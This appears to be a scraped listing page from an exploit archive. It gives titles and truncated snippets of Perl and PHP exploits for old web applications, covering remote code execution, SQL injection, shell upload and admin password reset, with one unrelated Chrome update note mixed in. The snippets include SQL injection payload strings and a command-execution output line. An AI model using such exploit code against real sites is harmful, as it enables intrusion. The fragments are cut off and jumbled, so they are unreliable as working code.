simplePMS CMS 0.1.3a LFI / Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl Script : simplePMS CMS v0.1.3a Download: http://garr.dl.sourceforge.net/sourceforge/simplepms/simplePMS-v0-1-3prealpha.tar.bz2 Remote Command Execution Exploit Also affected to multiple LFI vulnerabilities -- Needs Register Globals ON $filename no...

Stable and Beta Update: Incognito Mode Fix

Google Chrome's Beta and Stable channels have been updated to 1.0.154.48. The change in 1.0.154.46 to fix Hotmail caused a problem for users in Incognito mode trying to access sites which depend on the User-Agent header. This header identifies the type of browser making the request and should be...

MemHT Portal 4.0.1 - Remote Code Execution

MemHT Portal 4.0.1 - Remote Code Execution !/usr/bin/perl MemHT Portal 7 Main::Usage; else HTTP::UserAgent$uagent; MemHT::Login; MemHT::Exploit$file; MemHT Exploit Package package MemHT; sub Exploit my $resp; my $file = shift...

MemHT Portal <= 4.0.1 (avatar) Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl MemHT Portal = 4.0.1 avatar Remote Code Execution Exploit by yeat - stakerathotmaildotit use Getopt::Std; use Digest::MD5'md5hex'; use LWP::UserAgent; getopts'p:',\my %opts; my $host,$file,$id,$username,$password = @ARGV; my $http = new...

Fhimage 1.2.1 - Remote Command Execution (mq = off)

!/usr/bin/perl ----------------------------------------------------------------------------------------------- INFORMATIONS ----------------------------------------------------------------------------------------------- Fhimage 1.2.1 http://www.flash-here.com/downloads/download.php?id=9 Remote...

Joomla com_phocadocumentation (id) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =============================================================== Joomla comphocadocumentation id Remote SQL Injection Exploit =============================================================== !/usr/bin/perl -w Joomla comphocadocumentation Sql...

Ultimate PHP Board <= 2.2.1 (log inj) Privilege Escalation Exploit

Exploit for unknown platform in category web applications ================================================================== Ultimate PHP Board admin xpl by athos - stakerathotmaildotit\n". "\nUsage + perl $0 host path ID email". "\nHost + l...

Flexphplink Pro Arbitrary File Upload Exploit

Exploit for unknown platform in category web applications ============================================= Flexphplink Pro Arbitrary File Upload Exploit ============================================= !/usr/bin/perl HAPPY CHRISTMAS !! Flexphplink Pro...

RoundCube Webmail <= 0.2b Remote Code Execution Exploit

Exploit for unknown platform in category web applications ======================================================= RoundCube Webmail echoiniget'disablefunctions'; exec, system PHP passthru"id; uname -a"; uid=666www-data gid=666www-data groups=666www-data Linux mail 2.6.28 0 Sun Jan 01 10:05:33 CET...

Pligg 9.9.5b (check_url.php url) Upload Shell/SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== Pligg 9.9.5b checkurl.php url Upload Shell/SQL Injection Exploit =================================================================== !/usr/bin/perl =about Pligg 9.9.5 Beta...

Lizardware CMS 0.6.0 - Blind SQL Injection

!/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers where userid=$userid"; return $send; for1..3...

Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================== Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,"...

Aiyoota! CMS - Blind SQL Injection

php '.$argv0.' -1 http://www.site.com Example Method 2 for http://www.site.com/english/8/8/45001/liste9.html = php '.$argv0.' -2 http://www.site.com english 8 8 45001 liste9.html '; $automatic = $argv1; $url = $argv2; if $argv1 == "-1" | $argv1 == "-2" & $argc == 3 | $argc == 8 if $argv1 == "-1"...

eZ Publish &lt; 3.9.5/3.10.1/4.0.1 Privilege Escalation Exploit

No description provided by source. ?php / eZ Publish privilege escalation exploit by s4avrd0w [email protected] Versions affected = 3.5.6 Resolved in 3.9.5, 3.10.1, 4.0.1 More info:...

checknew-sql.txt

!/usr/bin/perl -w ===================================================================== Check New 4.52 findoffice.php search Remote SQL Injection Exploit ===================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CW...

Check New 4.52 - SQL Injection

!/usr/bin/perl -w ===================================================================== Check New 4.52 findoffice.php search Remote SQL Injection Exploit ===================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CW...

CMS MAXSITE Component Guestbook - Remote Command Execution

!/usr/bin/perl ================================================================== CMS MAXSITE Component Guestbook Remote Command Execution Exploit ================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH...

Lito Lite CMS (cate.php cid) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w =========================================================== Lito Lite CMS cate.php cid Remote SQL Injection Exploit =========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O...

OpenForum 0.66 Beta Remote Reset Admin Password Exploit

Exploit for unknown platform in category web applications ======================================================= OpenForum 0.66 Beta Remote Reset Admin Password Exploit ======================================================= !/usr/bin/perl -w...

OpenForum 0.66 Beta - Remote Reset Admin Password

OpenForum 0.66 Beta - Remote Reset Admin Password !/usr/bin/perl -w ======================================================== OpenForum 0.66 Beta Remote Reset Admin Password Exploit ======================================================== ,--^----------,--------,-----,-------^--, | |||||||||...